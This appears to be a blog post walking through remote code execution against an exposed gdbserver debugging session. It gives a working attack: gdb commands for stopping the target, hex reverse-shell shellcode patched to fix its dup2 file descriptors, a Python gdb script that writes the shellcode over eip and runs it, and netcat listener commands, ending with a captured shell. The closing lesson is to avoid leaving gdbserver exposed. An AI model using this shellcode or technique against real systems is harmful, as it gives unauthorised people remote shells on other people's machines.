Turning an arbitrary GDBserver sessions into RCE

Today we’ll see how we can turn an arbitrary GDBserver remote debugging

session into remote code execution. First of all, let’s assume gdbserver is

ran using the following command. We will also assume that the target

architecture is Linux/x86, but you can port the technique to other

architectures as needed.

$ gdbserver --remote-debug 0.0.0.0:1337 ./some_unknown_binary

What happens is that gdbserver will serve as many remote debugging sessions as

possible while it’s running. That is, we can have as many remote debugging

sessions as we like, until the gdbserver is killed (but only one at a time.)

This makes sense, because if we are debugging a target, then we don’t want to

restart gdbserver every time we hit “run” in gdb.

Let’s assume one were to run gdbserver in a screen, to prevent accidental

connection resets resulting in losing the gdbserver session (assuming we’re

ssh’ing into a remote server.) Exactly this happened to me – I recently found

out that there were still two (of my) gdbserver’s running in a screen from

when we were playing a CTF, almost two months ago.

Now anyone with the ip address and port number can attach to your gdbserver by

doing the following.

$ gdb (gdb) target extended-remote host:port Remote debugging using host:port (gdb) run [..] [Inferior 1 (process 42) exited normally]

In order not to make the RCE not too easy, we’re going to assume that we don’t

have any symbols of the remote binaries, and that all addresses are ASLR’d. In

other words, educational guessing of “main” is useless, and we won’t be able

to do arbitrary function calls during debugging such as the following.

(gdb) call system("/bin/sh") No symbol table is loaded. Use the "file" command.

However, if we enter a breakpoint at an invalid address and run the debuggee,

we get an error right before executing the very first instruction of the

process. This looks roughly like the following

(gdb) break *0 Breakpoint 1 at 0x0 (gdb) run Starting program: warning: Could not load vsyscall page because no executable was specified try using the "file" command first. Warning: Cannot insert breakpoint 1. Error accessing memory address 0x0: Unknown error 18446744073709551615. (gdb) info reg eip eip 0xf7fe0850 0xf7fe0850

At this point the debuggee has been executed, and we’re able to inspect and

modify its state. We continue by removing our earlier breakpoint. Now it’s

time for the fun part.

Reverse Shell Shellcode

After a bit of googling, I stumbled upon the following shellcode. This

shellcode connects to an ip address and port of your choosing, and executes

/bin/sh with stdin, stdout, and stderr set to your socket. If we have netcat

listening on the remote ip address and port, then it’ll get a connection

request upon execution of the shellcode, and we can use it to run arbitrary

shell commands on the shellcodes machine, as if we had shell access. After an

initial test, this shellcode seemed to work on my x86_64 machine running a

32-bit application. However, there’s a small problem with this shellcode. If

we look closely at the shellcode, we notice the following.

804807b: 31 db xor ebx,ebx 804807d: b3 02 mov bl,0x2 [..] 804808a: fe c3 inc bl [..] 8048098: b1 03 mov cl,0x3 804809a <dupfd>: 804809a: fe c9 dec cl 804809c: b0 3f mov al,0x3f 804809e: cd 80 int 0x80 ; system call 80480a0: 75 f8 jne 804809a

Investigating this system call further, we see that this is the dup2

system call. However, the ebx register, or old_fd, seems to be

constant here – namely three. (I figured this out while brushing my teeth..)

This is the default fd if you open your first file descriptor in a program,

which is something we cannot assume, and is definitely not the case when

running the debuggee under gdbserver. (E.g., this shellcode fails if you open

a file or socket before running it, because the fd of the socket allocated by

our shellcode will be four for example, instead of three.)

If we look further, we see that the esi register contains the fd number

returned from the socket system call. (Actually, this is the socketcall

system call with SOCKOP_socket as operation, but that’s a minor detail

specific to Linux/x86.)

8048075: cd 80 int 0x80 ; socket() 8048077: 89 c6 mov esi,eax ; esi = fd [..] 804808e: 6a 10 push 0x10 ; sizeof(sockaddr_in) 8048090: 51 push ecx ; sockaddr_in * 8048091: 56 push esi ; fd 8048092: 89 e1 mov ecx,esp 8048094: cd 80 int 0x80 ; connect()

Long story short, we want to preserve esi before the connect system call,

and store it into ebx after the system call. Thus ebx will contain the fd of

our socket, and the system calls to dup2 will duplicate the correct fd into

stdin, stdout, and stderr. The following snippet shows the updates shellcode.

This is the shellcode that we’re going to use.

8048092: 89 e1 mov ecx,esp + push esi ; push fd 8048094: cd 80 int 0x80 ; connect() + pop ebx ; pop fd into ebx 8048096: 31 c9 xor ecx,ecx 8048098: b1 03 mov cl,0x3

Running the Shellcode

All we have left to do is to patch the correct ip address and port into the

shellcode, namely that of our listening netcat instance (e.g., running

“nc -vvv -l 9001″ on your favourite linux box), overwriting eip with the

shellcode, and finally, running it.

For my exploit I’m using gdb’s Python bindings, as initially I had another

technique in mind, which required a bit more scripting. Following is the

final part of the code which generates the shellcode, overwrites it onto eip,

and executes it. We have two continue statements at the end, as the

shellcode will execv into /bin/sh, after which we’ll get an error that

gdbserver can’t read the memory of eip anymore, so we have to instruct

gdbserver to continue past that error.

def reverse_shell((ip, port)): """Modified x86 reverse shell""" ip, port = socket.inet_aton(ip), struct.pack('>H', port) sc = \ '31c031db31c931d2b066b301516a066a016a0289e1cd8089c6b06631dbb30268' \ '000000006668ffff6653fec389e16a10515689e156cd805b31c9b103fec9b03f' \ 'cd8075f831c052686e2f7368682f2f626989e3525389e15289e2b00bcd80' return sc.decode('hex').replace('\xff'*2, port).replace('\x00'*4, ip) for idx, ch in enumerate(reverse_shell(netcat)): gdb.execute('set *(unsigned char *)($eip + %d) = %d' % (idx, ord(ch))) gdb.execute('continue') gdb.execute('continue')

Final Exploit

The final exploit code can be found here.

Execution of the code may look like the following. We’ll need three shells.

(Optionally on different servers – do as you like.)

Shell 1

$ gdbserver --remote-debug 0.0.0.0:1337 ./some_unknown_binary [..]

Shell 2

$ nc -vvv -l 31338 [..]

Shell 3

$ vim gdbservrce.py # Patch the ip addresses $ gdb -x gdbservrce.py [..]

Enjoy Shell!

Now if we go back to Shell #2, we’ll see the following, and can run arbitrary

shell commands.

skier@box:~$ nc -vvv -l 31338 Connection from 1.1.1.1 port 31338 [tcp/*] accepted id uid=1010(skier) gid=1011(skier) groups=1011(skier)

Conclusion

This is a funny technique which basically tells you not to have gdbserver’s

running around